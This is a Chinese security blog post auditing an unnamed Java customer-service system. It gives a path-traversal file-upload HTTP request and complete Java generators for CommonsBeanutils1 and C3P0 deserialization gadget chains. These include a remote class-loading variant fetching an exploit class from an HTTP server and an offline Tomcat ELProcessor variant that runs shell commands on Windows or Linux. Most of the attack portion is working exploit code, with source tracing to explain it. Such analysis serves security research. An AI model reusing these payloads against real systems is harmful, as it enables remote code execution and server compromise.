某java客服系统后续代码审计(2)——C3P0
2022-4-1 15:33:22 Author: mp.weixin.qq.com(查看原文) 阅读量:61 收藏

1    任意文件上传

有的版本需要登录客服后台,有的版本需要登录admin后台
/admin/webim/save

    if (agentheadimg != null && agentheadimg.getOriginalFilename().lastIndexOf(".") > 0) {      File headimgDir = new File(this.path, "headimg");      if (!headimgDir.exists())        headimgDir.mkdirs();       String fileName = "headimg/" + inviteData.getId() + agentheadimg.getOriginalFilename().substring(agentheadimg.getOriginalFilename().lastIndexOf("."));      FileCopyUtils.copy(agentheadimg.getBytes(), new File(this.path, fileName));      inviteData.setConsult_dialog_headimg(fileName);    } 

其他图片命名都有UKTools.md5()处理唯独这个没有,取id也是从前端传的

POST /admin/webim/save.html HTTP/1.1Host: testContent-Type: multipart/form-data; boundary=---------------------------25578870823093959106339929313Content-Length: 349Cookie: SESSION=test
-----------------------------25578870823093959106339929313Content-Disposition: form-data; name="agentheadimg"; filename="1.txt"Content-Type: image/png
WQEQWE-----------------------------25578870823093959106339929313Content-Disposition: form-data; name="id"
../../../tmp/1.txt-----------------------------25578870823093959106339929313--

2.    CB链和C3P0链

找反序列化链的时候只看到了aspectjweaver,其实还有commons-beanutils-1.8.0.jar和c3p0-0.9.5.2.jar/mchange-commons-java-0.2.11.jar
CB链用的比较多,shiro和Click1时都说过,注意jar包版本对应即可,yso自带的可能用不了。

package test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;
public class CommonsBeanutils1 { public static void main(String[] args) throws Exception { FileInputStream inputFromFile = new FileInputStream("D:\\Downloads\\workspace\\test\\bin\\test\\TemplatesImplcmd.class"); byte[] bs = new byte[inputFromFile.available()]; inputFromFile.read(bs); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{bs}); setFieldValue(obj, "_name", "TemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj});
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser")); objectOutputStream.writeObject(queue); objectOutputStream.close();
ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream os = new ObjectOutputStream(out); os.writeObject(queue); String encodeString = java.util.Base64.getEncoder().encodeToString(out.toByteArray()); System.out.println(encodeString); // ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser")); // objectInputStream.readObject(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
}

C3P0链却用的比较少,先看yso用法。
java -jar ysoserial.jar C3P0 http://127.0.0.1/:exp > 1.ser
这里冒号必须要加上,以远程恶意class加载的方式执行代码,所以需要公网http服务器放上exp.class

package test;
import com.mchange.v2.c3p0.PoolBackedDataSource;import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.Referenceable;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;
public class C3P0 { public static void main(String[] args) throws Exception { Constructor con = PoolBackedDataSource.class.getDeclaredConstructor(new Class[0]); con.setAccessible(true); PoolBackedDataSource obj = (PoolBackedDataSource) con.newInstance(new Object[0]); Field conData = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); conData.setAccessible(true); conData.set(obj, new PoolSource("exp", "http://127.0.0.1/"));
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser")); oos.writeObject(obj); ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream os = new ObjectOutputStream(out); os.writeObject(obj); String encodeString = java.util.Base64.getEncoder().encodeToString(out.toByteArray()); System.out.println(encodeString); // ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser")); // ois.readObject();
} private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private String className; private String url; public PoolSource(String className, String url) { this.className = className; this.url = url; } public Reference getReference() throws NamingException { return new Reference("exploit", this.className, this.url); } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
}}

来跟一跟这个链,反序列化对象为obj,继承PoolBackedDataSourceBase,那么执行PoolBackedDataSourceBase.readObject()

    private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException{        short version = ois.readShort();        switch (version)        {            case VERSION:                // we create an artificial scope so that we can use the name o for all indirectly serialized objects.                {                    Object o = ois.readObject();                    if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();                    this.connectionPoolDataSource = (ConnectionPoolDataSource) o;                }

o如果为IndirectlySerialized实例就执行getObject(),这里o为ReferenceIndirector$ReferenceSerialized,实现了IndirectlySerialized因此可以通过。执行ReferenceIndirector$ReferenceSerialized.getObject()

    public Object getObject() throws ClassNotFoundException, IOException{        try        {            Context initialContext;            if ( env == null )            initialContext = new InitialContext();            else            initialContext = new InitialContext( env );
Context nameContext = null; if ( contextName != null ) nameContext = (Context) initialContext.lookup( contextName );
return ReferenceableUtils.referenceToObject( reference, name, nameContext, env ); }

然后看到了一个非常熟悉的jndi注入类InitialContext,不过这里由于env为空,所以利用不了,往后看ReferenceableUtils.referenceToObject()

    public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)    throws NamingException    {    try        {        String fClassName = ref.getFactoryClassName();        String fClassLocation = ref.getFactoryClassLocation();
ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader(); if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader(); ClassLoader cl; if ( fClassLocation == null ) cl = defaultClassLoader; else { URL u = new URL( fClassLocation ); cl = new URLClassLoader( new URL[] { u }, defaultClassLoader ); } Class fClass = Class.forName( fClassName, true, cl ); ObjectFactory of = (ObjectFactory) fClass.newInstance(); return of.getObjectInstance( ref, name, nameCtx, env ); }

可以看到最后是用URLClassLoader远程加载恶意类,其中关键参数为ref也就是之前的reference,它为什么是http://127.0.0.1呢?以及之前的o为什么是ReferenceIndirector$ReferenceSerialized,这个过程在PoolBackedDataSourceBase.writeObject()中实现的。

    private void writeObject( ObjectOutputStream oos ) throws IOException{        oos.writeShort( VERSION );        try        {            //test serialize            SerializableUtils.toByteArray(connectionPoolDataSource);            oos.writeObject( connectionPoolDataSource );        }        catch (NotSerializableException nse)        {            com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse);            try            {                Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();                oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) );            }

connectionPoolDataSource正是我们用反射的形式设置的属性,也就是

new PoolSource("exp", "http://127.0.0.1/")

跟进ReferenceIndirector.indirectForm()

    public IndirectlySerialized indirectForm( Object orig ) throws Exception    {     Reference ref = ((Referenceable) orig).getReference();    return new ReferenceSerialized( ref, name, contextName, environmentProperties );    }

至此,调用PoolSource.getReference(),返回了ReferenceSerialized对象,并将ref设置为new PoolSource("exp", "http://127.0.0.1/"))。

至此这条链已经清晰明了,但需要出网利用还是不爽, 这里有个使用tomcat8的javax.el.ELProcessor.eval()不出网执行命令的技巧,这个技巧经常应用在JDK高版本无法JNDI注入时的绕过。
需要tomcat-jasper-el-8.5.57.jar和tomcat-el-api-8.5.57.jar
先看一下EL表达式命令执行,很多java漏洞都有其身影。

package test;
import javax.el.ELProcessor;
public class Test { public static void main(String[] args) throws Exception { ELProcessor el = new ELProcessor(); el.eval("''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")"); }}

写复杂一点,让其支持区分linux和windows

package test;
import javax.el.ELProcessor;
public class Test { public static void main(String[] args) throws Exception { ELProcessor el = new ELProcessor(); String cmd = "calc"; String elString = "''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"" + "var isWin =java.lang.System.getProperty('os.name').toLowerCase().contains('win');" + "if(isWin){new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','"+cmd+"']).start();}" + "else{new java.lang.ProcessBuilder['(java.lang.String[])'](['/bash/sh','-c','"+cmd+"']).start();}" + "\")"; System.out.println(elString); el.eval(elString); }}

在C3P0链中的利用方式为

package test;
import com.mchange.v2.c3p0.PoolBackedDataSource;import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.Referenceable;import javax.naming.StringRefAddr;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;
import org.apache.naming.ResourceRef;
public class C3P0tomcat { public static void main(String[] args) throws Exception { Constructor con = PoolBackedDataSource.class.getDeclaredConstructor(new Class[0]); con.setAccessible(true); PoolBackedDataSource obj = (PoolBackedDataSource) con.newInstance(new Object[0]); Field conData = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); conData.setAccessible(true); conData.set(obj, new PoolSource()); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser")); oos.writeObject(obj); ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream os = new ObjectOutputStream(out); os.writeObject(obj); String encodeString = java.util.Base64.getEncoder().encodeToString(out.toByteArray()); System.out.println(encodeString); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser")); ois.readObject();
} private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { public PoolSource() { } public Reference getReference() throws NamingException { ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); String cmd = "calc"; String elString = "''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"" + "var isWin =java.lang.System.getProperty('os.name').toLowerCase().contains('win');" + "if(isWin){new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','"+cmd+"']).start();}" + "else{new java.lang.ProcessBuilder['(java.lang.String[])'](['/bash/sh','-c','"+cmd+"']).start();}" + "\")"; ref.add(new StringRefAddr("x", elString)); return ref; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
}}


可以看到PoolSource.getReference()变了,返回了一个ResourceRef对象。我们找找反序列化处理Resource时的代码,ReferenceableUtils.referenceToObject()

    public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)    throws NamingException    {    try        {        String fClassName = ref.getFactoryClassName();        String fClassLocation = ref.getFactoryClassLocation();
ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader(); if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader(); ClassLoader cl; if ( fClassLocation == null ) cl = defaultClassLoader; else { URL u = new URL( fClassLocation ); cl = new URLClassLoader( new URL[] { u }, defaultClassLoader ); } Class fClass = Class.forName( fClassName, true, cl ); ObjectFactory of = (ObjectFactory) fClass.newInstance(); return of.getObjectInstance( ref, name, nameCtx, env ); }

这里由于不再有classFactoryLocation,fClassLocation为空,不再能URLClassLoader。但会返回BeanFactory.getObjectInstance()

    public Object getObjectInstance(Object obj, Name name, Context nameCtx,                                    Hashtable<?,?> environment)        throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference) obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null) { try { beanClass = tcl.loadClass(beanClassName); } catch(ClassNotFoundException e) { } } else { try { beanClass = Class.forName(beanClassName); } catch(ClassNotFoundException e) { e.printStackTrace(); } } if (beanClass == null) { throw new NamingException ("Class not found: " + beanClassName); }
BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.getConstructor().newInstance();
/* Look for properties with explicitly configured setter */ RefAddr ra = ref.get("forceString"); Map<String, Method> forced = new HashMap<>(); String value;

判断了ResourceRef实例,获取beanClassName为"javax.el.ELProcessor"并在后续用newInstance()实例化。
经过一系列处理(略过分析)并在x=eval中取出eval,获取method为javax.el.ELProcessor.eval()

                    Method method = forced.get(propName);                    if (method != null) {                        valueArray[0] = value;                        try {                            method.invoke(bean, valueArray);                        } catch (IllegalAccessException|                                 IllegalArgumentException|                                 InvocationTargetException ex) {                            throw new NamingException                                ("Forced String setter " + method.getName() +                                 " threw exception for property " + propName);                        }                        continue;                    }

最后method.invoke(bean, valueArray);执行恶意代码。·

目标容器用的是tomcat8.5.57,因此可结合前面的filter反序列化或者fastjson反序列化达到命令执行的目的。

参考链接

https://blog.diggid.top/2021/10/13/C3P0%E7%9A%84%E4%B8%8D%E5%87%BA%E7%BD%91%E6%96%B9%E5%BC%8F%E5%88%A9%E7%94%A8/


文章来源: https://mp.weixin.qq.com/s/fdKcvYOK0lix9ssYsit7Yg
如有侵权请联系:admin#unsafe.sh